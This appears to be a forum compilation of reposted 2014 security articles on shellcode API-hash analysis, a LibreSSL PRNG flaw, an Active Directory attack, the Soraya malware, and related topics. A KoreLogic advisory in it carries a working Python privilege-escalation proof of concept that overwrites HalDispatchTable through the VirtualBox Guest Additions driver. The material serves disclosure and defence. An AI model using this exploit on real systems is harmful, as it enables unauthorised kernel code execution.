Nytro

Shellcode analysis like a semi-PRO During Nicolas Brulez‘s training at REcon there was a challenge where the goal was to have function names instead of hashes into IDA in order to make shellcode analysis easier. This post describes the problem with more detail, possible solutions and the approach I took to solve the challenge. If you would like to know the PRO version then take Nicolas’s training next year. Introduction In a few words, in order to resolve API function addresses, shellcode uses to parse EAT from loaded modules and compare a given function name with a hash, this is sometimes used by malware as well for the purpose of being stealth. More information about this technique is available here. The problem is that on IDA Pro you will have an output like the below: seg000:00386C91 mov ecx, 0A1233BBCh seg000:00386C96 mov edx, [ebp+4] seg000:00386C99 call find_func_addr seg000:00386C9E call eax Since there are many calls to find_func_addr, static analysis without knowing the function name related to each hash is very time-consuming, it would be necessary to follow each call on the debugger and manually update IDA Pro. Possible solutions There are two ways to solve this problem: statically or dynamically. Each of them has its advantages and disadvantages. Dynamic The only advantage I can think of this approach is that you don’t need to reverse engineer the hash function in order to get every function name, the disadvantages are: (a) the code can take different paths and then you won’t be able to identify all the hashes; ( it’s not portable, the Immunity or Olly script needs to be changed for every other sample that use hashes. A similar example of using the dynamic approach can be found at the VRT blog. Static This is the approach I took, the advantages/disadvantages are the reserve of the dynamic one, I had to crack the hash algorithm (which was pretty simple) but at least the other parts can be easily portable for further samples. The static solution The solution is divided in three parts: (a) get the function names from EAT of a given DLL; ( calculate the hash for each function name; © import the data into IDA. Getting the function names I ended up using DLL Export Viewer, Nicolas used pefile, I totally forgot about pefile. For the purpose of this post, the code below is enough to illustrate: dll = "c:/windows/system32/kernel32.dll" pe = pefile.PE(dll) for func in pe.DIRECTORY_ENTRY_EXPORT.symbols: print func.name Calculate the hash This will change for every sample. On this example, the hash algorithm was very simple, it can get really complicated and then the dynamic approach would be better. There is a MUCH easier/clever way to calculate the hash, however, you will need to take Nicolas’s training to get to know it, his solution to this was a *facepalm* moment. Hash function: seg000:00386BE0 calc_hash proc near ; CODE XREF: find_func_addr+28p seg000:00386BE0 push eax seg000:00386BE1 xor eax, eax seg000:00386BE3 xor ecx, ecx seg000:00386BE5 seg000:00386BE5 loop_calc_hash: ; CODE XREF: calc_hash+13j seg000:00386BE5 lodsb seg000:00386BE6 test al, al seg000:00386BE8 jz short calc_hash_end seg000:00386BEA xor ecx, eax seg000:00386BEC rol ecx, 3 seg000:00386BEF inc ecx seg000:00386BF0 shl eax, 8 seg000:00386BF3 jmp short loop_calc_hash seg000:00386BF5 ; --------------------------------------------------------------------------- seg000:00386BF5 seg000:00386BF5 calc_hash_end: ; CODE XREF: calc_hash+8j seg000:00386BF5 pop eax seg000:00386BF6 retn seg000:00386BF6 calc_hash endp Relevant C code: #include <stdio.h>#include <inttypes.h> #include <string.h> __inline__ rol(uint32_t operand, uint8_t width) { __asm__ __volatile__ ("rol %%cl, %%eax" : "=a" (operand) : "a" (operand), "c" (width) ); } int main(int argc, char* argv[]) { unsigned int i = 0; int out = 0; int eax = 0; FILE *ptr_file; char buf[100]; ptr_file =fopen(argv[1],"r"); if (!ptr_file) { printf("Unable to read text file\n"); return 1; } while (fgets(buf,100, ptr_file)!=NULL) { for (i = 0; i < strlen(buf)-1; i++) { eax = eax | buf; out = out ^ eax; out = rol(out,3); out += 1; eax = eax << 8; } printf("0x%08x",out); printf(","); printf("%s",buf); eax = 0; out = 0; } fclose(ptr_file); return 0; } Import data into IDA Basically, the script below add Enums into IDA, later just press ‘M’ on every hash to get the function name. If the hash is not found, consider import other DLLs. I didn’t find any function in IDA to automatically “refresh” a hex value for an enum value, if this is available please let me know. IDAPython script: from idaapi import *from idc import * SANE_NAME_RE = re.compile("[@?$:`+&\[\]]", 0) def sanitize_name(name): return SANE_NAME_RE.sub("_", name) def main(): enum_name = AskStr("Kernel32_Functions_Hash","Enter Enum name:") id = idc.AddEnum(0, enum_name, idaapi.hexflag()) print 'Enum id %d' % (id) file_path = AskFile(0,"*.*","Open txt file") file = open(file_path,'r') addr = '' name = '' for line in file: addr,name = line.split(',') addr_hex = long(addr,16) name = sanitize_name(name).rstrip('\n') if __name__ == '__main__': main() After executing script and adding the Enum to the hash value: .data:00405159 mov ecx, KERNEL32_ExitProcess .data:0040515E mov edx, [ebp+4] .data:00405161 call get_func_addr .data:00405166 push 0 .data:00405168 call eax Conclusion As shown on another post, even without a clean IAT or loading a binary file like when dealing with shellcodes, it’s still possible to have a decent static analysis by mixing IDAPython with other tools. Sursa: Shellcode analysis like a semi-PRO | drimeldotorg

[h=1]How SSL works tutorial - with HTTPS example[/h] How SSL works by leadingcoder. This is a full tutorial how to setup SSL that requires client certificate for reference: http://www.windowsecurity.com/article... .

LibreSSL's PRNG is Unsafe on Linux [update: LibreSSL fork fix] The first version of LibreSSL portable, 2.0.0, was released a few days ago (followed soon after by 2.0.1). Despite the 2.0.x version numbers, these are only preview releases and shouldn't be used in production yet, but have been released to solicit testing and feedback. After testing and examining the codebase, my feedback is that the LibreSSL PRNG is not robust on Linux and is less safe than the OpenSSL PRNG that it replaced. Consider a test program, fork_rand. When linked with OpenSSL, two different calls to RAND_bytes return different data, as expected: $ cc -o fork_rand fork_rand.c -lcrypto $ ./fork_rand Grandparent (PID = 2735) random bytes = f05a5e107f5ec880adaeead26cfff164e778bab8e5a44bdf521e1445a5758595 Grandchild (PID = 2735) random bytes = 03688e9834f1c020765c8c5ed2e7a50cdd324648ca36652523d1d71ec06199de When the same program is linked with LibreSSL, two different calls to RAND_bytes return the same data, which is a catastrophic failure of the PRNG: $ cc -o fork_rand fork_rand.c libressl-2.0.1/crypto/.libs/libcrypto.a -lrt $ ./fork_rand Grandparent (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c Grandchild (PID = 2728) random bytes = f5093dc49bc9527d6d8c3864be364368780ae1ed190ca0798bf2d39ced29b88c The problem is that LibreSSL provides no way to safely use the PRNG after a fork. Forking and PRNGs are a thorny issue - since fork() creates a nearly-identical clone of the parent process, a PRNG will generate identical output in the parent and child processes unless it is reseeded. LibreSSL attempts to detect when a fork occurs by checking the PID (see line 122). If it differs from the last PID seen by the PRNG, it knows that a fork has occurred and automatically reseeds. This works most of the time. Unfortunately, PIDs are typically only 16 bits long and thus wrap around fairly often. And while a process can never have the same PID as its parent, a process can have the same PID as its grandparent. So a program that forks from a fork risks generating the same random data as the grandparent process. This is what happens in the fork_rand program, which repeatedly forks from a fork until it gets the same PID as the grandparent. OpenSSL faces the same issue. It too attempts to be fork-safe, by mixing the PID into the PRNG's output, which works as long as PIDs don't wrap around. The difference is that OpenSSL provides a way to explicitly reseed the PRNG by calling RAND_poll. LibreSSL, unfortunately, has turned RAND_poll into a no-op (lines 77-81). fork_rand calls RAND_poll after forking, as do all my OpenSSL-using programs in production, which is why fork_rand is safe under OpenSSL but not LibreSSL. You may think that fork_rand is a contrived example or that it's unlikely in practice for a process to end up with the same PID as its grandparent. You may be right, but for security-critical code this is not a strong enough guarantee. Attackers often find extremely creative ways to manufacture scenarios favorable for attacks, even when those scenarios are unlikely to occur under normal circumstances. Bad chroot interaction A separate but related problem is that LibreSSL provides no good way to use the PRNG from a process running inside a chroot jail. Under Linux, the PRNG is seeded by reading from /dev/urandom upon the first use of RAND_bytes. Unfortunately, /dev/urandom usually doesn't exist inside chroot jails. If LibreSSL fails to read entropy from /dev/urandom, it first tries to get random data using the deprecated sysctl syscall, and if that fails (which will start happening once sysctl is finally removed), it falls back to a truly scary-looking function (lines 306-517) that attempts to get entropy from sketchy sources such as the PID, time of day, memory addresses, and other properties of the running process. OpenSSL is safer for two reasons: If OpenSSL can't open /dev/urandom, RAND_bytes returns an error code. Of course the programmer has to check the return value, which many probably don't, but at least OpenSSL allows a competent programmer to use it securely, unlike LibreSSL which will silently return sketchy entropy to even the most meticulous programmer. OpenSSL allows you to explicitly seed the PRNG by calling RAND_poll, which you can do before entering the chroot jail, avoiding the need to open /dev/urandom once in the jail. Indeed, this is how titus ensures it can use the PRNG from inside its highly-isolated chroot jail. Unfortunately, as discussed above, LibreSSL has turned RAND_poll into a no-op. What should LibreSSL do? First, LibreSSL should raise an error if it can't get a good source of entropy. It can do better than OpenSSL by killing the process instead of returning an easily-ignored error code. In fact, there is already a disabled code path in LibreSSL (lines 154-156) that does this. It should be enabled. Second, LibreSSL should make RAND_poll reseed the PRNG as it does under OpenSSL. This will allow the programmer to guarantee safe and reliable operation after a fork and inside a chroot jail. This is especially important as LibreSSL aims to be a drop-in replacement for OpenSSL. Many properly-written programs have come to rely on OpenSSL's RAND_poll behavior for safe operation, and these programs will become less safe when linked with LibreSSL. Unfortunately, when I suggested the second change on Hacker News, a LibreSSL developer replied: The presence or need for a [RAND_poll] function should be considered a serious design flaw. I agree that in a perfect world, RAND_poll would not be necessary, and that its need is evidence of a design flaw. However, it is evidence of a design flaw not in the cryptographic library, but in the operating system. Unfortunately, Linux provides no reliable way to detect that a process has forked, and exposes entropy via a device file instead of a system call. LibreSSL has to work with what it's given, and on Linux that means RAND_poll is an unfortunate necessity. Workaround If the LibreSSL developers don't fix RAND_poll, and you want your code to work safely with both LibreSSL and OpenSSL, then I recommend putting the following code after you fork or before you chroot (i.e. anywhere you would currently need RAND_poll): unsigned char c; if (RAND_poll() != 1) { /* handle error */ } if (RAND_bytes(&c, 1) != 1) { /* handle error */ } In essence, always follow a call to RAND_poll with a request for one random byte. The RAND_bytes call will force LibreSSL to seed the PRNG if it's not already seeded, making it unnecessary to later open /dev/urandom from inside the chroot jail. It will also force LibreSSL to update the last seen PID, fixing the grandchild PID issue. (Edit: the LibreSSL PRNG periodically re-opens and re-reads /dev/urandom to mix in additional entropy, so unfortunately this won't avoid the need to open /dev/urandom from inside the chroot jail. However, as long as you have a good initial source of entropy, mixing in the sketchy entropy later isn't terrible.) I really hope it doesn't come to this. Programming with OpenSSL already requires dodging numerous traps and pitfalls, often by deploying obscure workarounds. The LibreSSL developers, through their well-intended effort to eliminate the pitfall of forgetting to call RAND_poll, have actually created a whole new pitfall with its own obscure workaround. Update (2014-07-16 03:33 UTC): LibreSSL releases fix for fork issue LibreSSL has released a fix for the fork issue! (Still no word on the chroot/sketchy entropy issue.) Their fix is to use pthread_atfork to register a callback that reseeds the PRNG when fork() is called. Thankfully, they've made this work without requiring the program to link with -lpthread. I have mixed feelings about this solution, which was discussed in a sub-thread on Hacker News. The fix is a huge step in the right direction but is not perfect - a program that invokes the clone syscall directly will bypass the atfork handlers (Hacker News commenter colmmacc suggests some legitimate reasons a program might do this). I still wish that LibreSSL would, in addition to implementing this solution, just expose an explicit way for the programmer to reseed the PRNG when unusual circumstances require it. This is particularly important since OpenSSL provides this facility and LibreSSL is meant to be a drop-in OpenSSL replacement. Finally, though I was critical in this blog post, I really appreciate the work the LibreSSL devs are doing, especially their willingness to solicit feedback from the community and act on it. (I also appreciate their willingness to make LibreSSL work on Linux, which, despite being a Linux user, I will readily admit is lacking in several ways that make a CSPRNG implementation difficult.) Ultimately their work will lead to better security for everyone. Sursa: https://www.agwa.name/blog/post/libressls_prng_is_unsafe_on_linux

Active Directory Flaw Lets Attackers Change Passwords Aorato finds way to compromise Active Directory and change passwords without being noticed by SIEM.Researchers have discovered a way for attackers to access and change the password of a user's Active Directory account, without being detected log-based security tools like SIEM. The researchers, from AD security firm Aorato, say this is a severe flaw partly because of the ubiquity of Active Directory and partly because it allows attackers to do something that they may not be able to do even with physical access to a user's machine. As lead researcher Tal B'ery explains, if someone goes to get coffee, walks away from his or her desk, and forgets to lock his or her screen, a ne'er-do-well can sneak by, get physical access to the machine, and do basically anything that the logged-in user can do ... except change the password, if that person doesn't know the current one. That's why this new attack Aorato describes is significant, according to B'ery. Obviously, if the compromised account is one that's used often, someone will notice the password has been changed as soon as the individual tries and fails to log in. However, B'ery points out that if this is done on a weekend, an attacker may evade notice for 48 hours. Plus, attackers could go after a dormant account to stay under the radar longer. As Aorato explains in its report, the attacker first uses a publicly available free penetration testing tool (like WCE or Mimikatz) to steal the NTLM hash from user devices -- an authentication component that resides by default on devices that connect to enterprise resources. NTLM is known to be a bit of a security hazard itself, and therefore, lots of organizations log NTLM activity. So, as Aorata describes it in the report: 2. The attacker forces the client to authenticate to Active Directory using a weaker encryption protocol. At this stage, the attacker uses the Active Directory flaw where the encryption protocol relies on the NTLM hash. This activity is not logged in system and 3rd party logs -- even those that specifically log NTLM activity. As a result, no alerts, or forensic data, ever indicate that an attack takes place. 3. The attacker proves its so-called legitimate identity to Active Directory using the weaker authentication protocol. According to B'ery, when Aorato responsibly disclosed this, Microsoft said they do consider it not a vulnerability, but a part of Active Directory's design. B'ery says, "We argue that it doesn't matter. A flaw is a flaw is a flaw." Sursa: Active Directory Flaw Lets Attackers Change Passwords

Floppy Bird Floppy Bird is a clone of the infamous Flappy Bird written in 16 bit (x86) assembly. In other words it works on RAW METAL and doesn't require an Operating System. Getting Started If you just want to try it out there's no need to install the development tools because you can use one of the provided 'disk images'. However, if you really want to 'compile' it yourself then you'll need to install the following tools: NASM QEMU GIMP To build it just type in any terminal: make make iso Versions build/floppybird.img - Image for Floppy / USB Drives build/floppybird.iso - for CD-ROM Drives (with Floppy Emulation) Virtual Machines QEMU and VirtualBox have been tested and fully supported. qemu-system-i386 -boot a -fda build/floppybird.img WARNING I am not responsible for any direct or indirect data loss after performing any of the destructive operations presented below. BE SURE TO BACKUP THE CONTENTS OF YOUR FLOPPY/USB DRIVE. Linux/Mac (in other words *unix) You can use the dd utility or your favorite CD Burner like Brasero. dd if=build/floppybird.img of=/dev/sdb In the example above, /dev/sdb is your USB Drive. Windows You can use the Raw Write 32 utility or your favorite CD Burner like CDBurnerXP. Contribute Fork the project. Make your feature addition or bug fix. Do not bump the version number. Send me a pull request. Bonus points for topic branches. License Copyright © 2014, Mihail Szabolcs Floppy Bird is provided as-is under the MIT license. For more information see LICENSE. Sursa: https://github.com/icebreaker/floppybird

Wireless Live CD Alternative: ZeusGard I’ve long recommended that small business owners and others concerned about malware-driven bank account takeovers consider adopting a “Live CD” solution, which is a free and relatively easy way of temporarily converting your Windows PC into a Linux operating system. The trouble with many of these Live CD solutions is that they require a CD player (something many laptops no longer have) — but more importantly – they don’t play well with wireless access. Today’s post looks at an alternative that addresses both of these issues. Zeusgard, with wireless adapter, on a Macbook Air. As I noted in my 2012 column, “Banking on a Live CD,” the beauty of the “Live CD” approach is that it allows you to safely bank online from any machine — even from a system that is already riddled with malware. That’s because it lets you boot your existing PC into an entirely different (read: non-Windows) operating system. [Not sure why you should consider banking online from a non-Windows PC? Check out this series]. The device I’ll be looking at today is not free, nor is the the tiny dongle that enables its ability to be used on a wireless network. Nor is it an actual CD or anything more than a stripped-down Web browser. But it is one of the safest, most easy-to-use solutions I’ve seen yet. The device, called ZeusGard, is a small, silver USB flash drive that boots into a usable browser within about 30 seconds after starting the machine. The non-writeable drive boots directly into the browser (on top of Debian Linux), and if your system is hard-wired to your router with an Ethernet connection, you should be good to go. Nearly all Live CD solution have one glaring weakness: They typically are not usable over a wireless connection. The Live CD solution I most frequently recommend — which is based on a version of Puppy Linux — technically can work with wireless networks, but I found that setting it up is not at all intuitive, especially for people who’ve never used anything but Windows before. My review copy of ZeusGard came with a tiny USB wireless Wi-Fi adapter, which makes jumping on a wireless network a complete breeze. When you boot up with both ZeusGard and the adapter plugged in, ZeusGard automatically searches for available wireless networks, and asks you to choose yours from a list of those in range. Assuming access to your wireless network is secured with WPA/WPA2 (hopefully not the weaker WEP) , click the “properties” box next to your network, and enter your network’s encryption key (if you need to see the key in plain text while you’re typing, tick the box next to “key”). Hit “OK” and then the “Connect” button. Once you’re connected, click the down arrow at the top of the dialog box and select “Exit to Browser Session.” This is the second generation of ZeusGard, and I’m looking forward to seeing the next iteration of the device. ZeusGard is produced by Bancsec, a consulting firm that advises financial institutions on ways to beef up security (think ). Bancsec CEO J.B. Snyder said the next version should include a streamlined wireless setup, and will offer users more options inside the browser session (in the version I tested, for example, ZeusGard automatically shuts down after 30 minutes of use). At $24.95 for the basic ZeusGard and $14.95 for the wireless adapter, this device is likely to be more appealing to small businesses than the average Internet user. But if you need or want wireless capability in a USB-based “Live CD” solution, ZeusGard is one of few easy-to-use options currently available. To get ZeusGard working on a Mac, hold the “Option” key while booting up, and select the volume labeled “Windows” (yes, I realize this is counter-intuitive, since the whole idea behind booting into a live CD is that you’re not in Windows). Getting ZeusGard (or any other live distribution, for that matter) working on a Windows PC may be a bit more involved. Rather than reinvent the wheel, I’ve excerpted and modified the following instructions from my Banking on a Live CD post. We next need to make sure that the computer knows to look to the USB drive first for a bootable operating system before it checks the hard drive, otherwise ZeusGard will never be recognized by the computer (this only needs to be done once). When you start up your PC, take note of the text that flashes on the screen, and look for something that says “Press [some key] to enter setup” or “Press [some key] to enter startup.” Usually, the key you want will be F2 or the Delete or Escape (Esc) key. A Windows BIOS screen. If you’ve done it right, the “removable dev” option should be listed as the 1st Boot Device. When you figure out what key you need to press, press it repeatedly until the system BIOS screen is displayed. Your mouse probably will not work here, so you’ll need to rely on your keyboard. Look at the menu options at the top of the screen, and you should notice a menu named “Boot”. Hit the right arrow key until you’ve reached that screen listing your bootable devices, and then hit the Enter key What you want to do here is move the Removable Devices option to the top of the list (it may be listed as merely “Removable Dev”). Do this by selecting the down-arrow key until that option is highlighted, and the press the Shift and the “+” key on your keyboard until the Removable Devices option is at the top. Then hit the F10 key, and confirm “yes” when asked if you want to save changes and exit, and the computer should reboot. Unless you know what you’re doing here, it’s important not to make any other changes in the BIOS settings. If you accidentally do make a change that you want to undo, hit F10, and select the option “Exit without saving changes.” The computer will reboot, and you can try this step again. If you’ve done this step correctly, the computer should detect the USB drive as a bootable operating system, and boot into ZeusGard. Sursa: Wireless Live CD Alternative: ZeusGard — Krebs on Security

Soraya: The Worst of Both Worlds A FortiGuard Labs Technical Analysis Introduction Soraya is the first of its kind, a hybrid piece of malware combining popular form grabbing techniques seen in Zeus and memory parsing techniques seen in Dexter and JackPOS. In this report, we join Junior AV Analyst Hong Kei Chan in describing Soraya’s installation then analyzing the two defining elements of Soraya – form grabbing and memory parsing. We will also review the command- and-control (C&C) communication protocol in detail by exploring the features found in Soraya’s control panel. Installation Many of the samples received by FortiGuard Labs have been packed with custom packing algorithms, where a 24KB UPX-compressed image is mapped back to the original base address and then executed. Soraya does not import any functions, so it utilizes a common technique where the base address of kernel32.dll is retrieved from the Process Environment Block (PEB) structure before resolving the address of the target API using values that have been hashed from the API names. The addresses of the following APIs are retrieved using this custom algorithm: Fortinet | High Performance Network Security, Enterprise and Data-Center Firewall Solution Brief : Two-Factor Authentication LoadLibrary GetProcAddress VirtualProtect ZwCreateSection ZwMapViewofSection RtlMoveMemory CreateRemoteThread GetModuleHandleW CreateToolHelp32Snapshot Process32First Process32Next OpenProcess isWow64Process ExitProcess After getting the handle of its target processes, it uses ZwCreateSection, ZwMapViewofSection, RtlMoveMemory, and CreateRemoteThread to inject itself into a number of system processes including explorer.exe to begin its malicious functions. Download: http://www.fortinet.com/sites/default/files/whitepapers/soraya_WP.pdf

Google has a job called ‘Security Princess’ By Heba Hasan, Tech Times | July 14, 3:17 PM (Photo : Parisa Tabriz | Twitter) "Security Princess" is what it says on Parisa Tabriz's business card. Tabriz, who heads a division of hackers responsible for handling security threats in Google Chrome, wanted a title that was a bit more interesting than "Information Security Engineer" or "hired hacker." And Tabriz's job is more than a bit interesting, to say the least. She and her team of hackers are paid to think like criminals and fix security threats quickly and silently. "There's a lot of similarities with the know-thy-enemy part of war," she says in a recent interview with Elle. At 31, Tabriz is young and one of the few women in hacking circles. She never viewed her gender as an obstacle, though, stating that she might be "may be a little more pushy than the [female] stereotype." But Tabriz doesn't shy away from addressing the tech sector's gender disparity and where the field should be headed, telling Elle, "If you have ambitions to create technology for the whole world, you need to represent the whole world, and the whole world is not just white men." Though "security princess" is an unusual title, Tabriz has some good company. The tech world is famously filled with nontraditional and quirky job titles. David Shing is the "Digital Prophet" at AOL where, according to his bio, he "spends most of his time watching the future take shape across the vast online landscape." Sheryl Connelly holds the title of "in-house Futurist" for Ford Motor Co., not just the more stuffy manager of global consumer trends and futuring. And Microsoft's Andrew Fryer settled on the title of "Technical Evangelist." Sursa: Google has a job called ‘Security Princess’ : T-Lounge : Tech Times

Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation Authored by Matthew BerginA vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. Oracle VirtualBox Guest Additions versions 4.3.8 through 4.3.10 are affected. Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation Advisory ID: KL-001-2014-001 Publication Date: 07.15.2014 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt 1. Vulnerability Details Affected Vendor: Oracle Affected Product: VirtualBox Guest Additions Affected Versions: 4.3.8 - 4.3.10 Platform: Microsoft XP SP3 CWE Classification: CWE-123: Write-what-where Condition Impact: Arbitrary code execution Attack vector: IOCTL CVE ID: CVE-2014-2477 2. Vulnerability Description A vulnerability within VBoxGuest module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. 3. Technical Description A userland process can create a handle into the VBoxGuest device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x0022a040 the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classicaly known as a write-what-where vulnerability and has well known exploitation methods associated with it. A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000. STACK_TEXT: f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5 f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92 f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3 f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31 f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43 f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8 f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123 f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31 f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70 f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611 f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8 0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6 0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase. ErrCode = 00000002 eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000 eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 0008:804eca3b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] A write-what-where vulnerability can be leveraged to obtained escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process. 4. Mitigation and Remediation Recommendation The vendor has patched this vulnerability. The patch information is here: http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC. 04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC. 05.02.14 - Oracle assigns tracking to this vulnerability report and states that it will be patched in the CPU cycle, with credit for the report given to KoreLogic. Oracle also states monthly updates will be provided. 05.22.14 - Oracle provides KoreLogic with status update indicating the vulnerability will be patched in an upcoming CPU and states that they will publicly acknowledge KoreLogic in the associated public bulletin. 06.11.14 - KoreLogic informs Oracle that 30 days have passed since vendor acknowledgement of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 06.11.14 - Oracle responds with CVE number, expected release date of 07.15.14 and public identifier (CVE number). 06.24.14 - Oracle provides status update. 07.02.14 - 45 business days have elapsed since vendor acknowledged vulnerability. 07.11.14 - Oracle provides expected CPU release time. 07.15.14 - Coordinated public release of vulnerability and vendor patch. 7. Proof of Concept # KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation # Oracle VirtualBox 4.3.8-4.3.10 # # Matt Bergin (KoreLogic/Smash the Stack) # thanks to bla # from ctypes import * from struct import pack from os import getpid,system from sys import exit EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle VirtualProtect = windll.kernel32.VirtualProtect INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) buf = "\xcc\xcc\xcc\xcc"*35 WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0))) WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0))) #Overwrite Pointer kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable)) DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0) print "[+] HalDispatchTable+0x4 overwritten" CloseHandle(handle) NtQueryIntervalProfile(c_ulong(2),byref(c_ulong())) #Something bad happened exit(0) The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt Sursa: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation ? Packet Storm

BootJacker: The Amazing AVR Bootloader Hack! There's an old adage that says if you don't know it's impossible you could end up achieving it. BootJacker is that kind of hack: a way for ordinary firmware on an AVR to reprogram its bootloader. It's something Atmel's manual for AVR microcontrollers with Bootloaders says is impossible (Note the italics): 27.3.1 Application Section. The Application section is the section of the Flash that is used for storing the application code. The protection level for the Application section can be selected by the application Boot Lock bits (Boot Lock bits 0), see Table 27-2 on page 284. The Application section can never store any Boot Loader code since the SPM instruction is disabled when executed from the Application section. Here's the background: I'm the designer of FIGnition, the definitive DIY 8-bit computer. It's not cobbled together from hackware from around the web, instead three years of sweat and bare-metal development has gone into this tiny 8-bitter. I've been working on firmware version 1.0.0 for a few months; the culmination of claiming that I'll put audio data transfer on the machine (along with a fast, tiny Floating point library about 60% of the size of the AVR libc one). Firmware 1.0.0 uses the space previously occupied by its 2Kb USB bootloader and so, needs its own migration firmware image to copy the V1.0.0 firmware to external flash. The last stage is to reprogram the bootloader with a tiny 128b bootloader which reads the new image from external flash. Just as I got to the last stage I came across section 27.3.1, which let me know in no uncertain terms that I was wasting my time. I sat around dumbstruck for a while ("How could I have not read that?") before wondering whether[1], crazies of crazy, imagining that a solution to the impossible might 